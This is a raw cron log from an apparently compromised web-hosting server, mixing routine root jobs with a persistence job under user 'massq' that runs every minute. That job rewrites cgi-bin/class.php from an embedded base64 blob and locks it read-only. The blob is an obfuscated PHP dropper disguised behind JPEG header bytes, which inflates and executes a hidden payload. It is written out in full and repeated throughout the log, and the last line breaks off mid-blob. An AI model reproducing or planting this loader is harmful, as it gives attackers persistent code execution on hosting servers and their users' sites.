Apr 10 21:17:01 server CROND[5225]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 21:18:01 server CROND[5292]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 21:19:01 server CROND[5366]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 21:20:01 server CROND[5557]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 10 21:20:01 server CROND[5560]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 21:20:01 server CROND[5562]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 21:20:01 server CROND[5561]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 21:20:01 server CROND[5559]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 21:21:01 server CROND[5687]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 21:22:01 server CROND[5752]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 21:23:01 server CROND[5816]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 21:24:01 server CROND[5886]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 21:25:01 server CROND[5948]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 21:25:01 server CROND[5949]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 21:25:01 server CROND[5950]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 21:26:01 server CROND[6168]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 21:27:01 server CROND[6239]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 21:27:01 server CROND[6240]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 10 21:28:01 server CROND[6307]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 21:29:01 server CROND[6376]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 21:30:01 server CROND[6445]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaU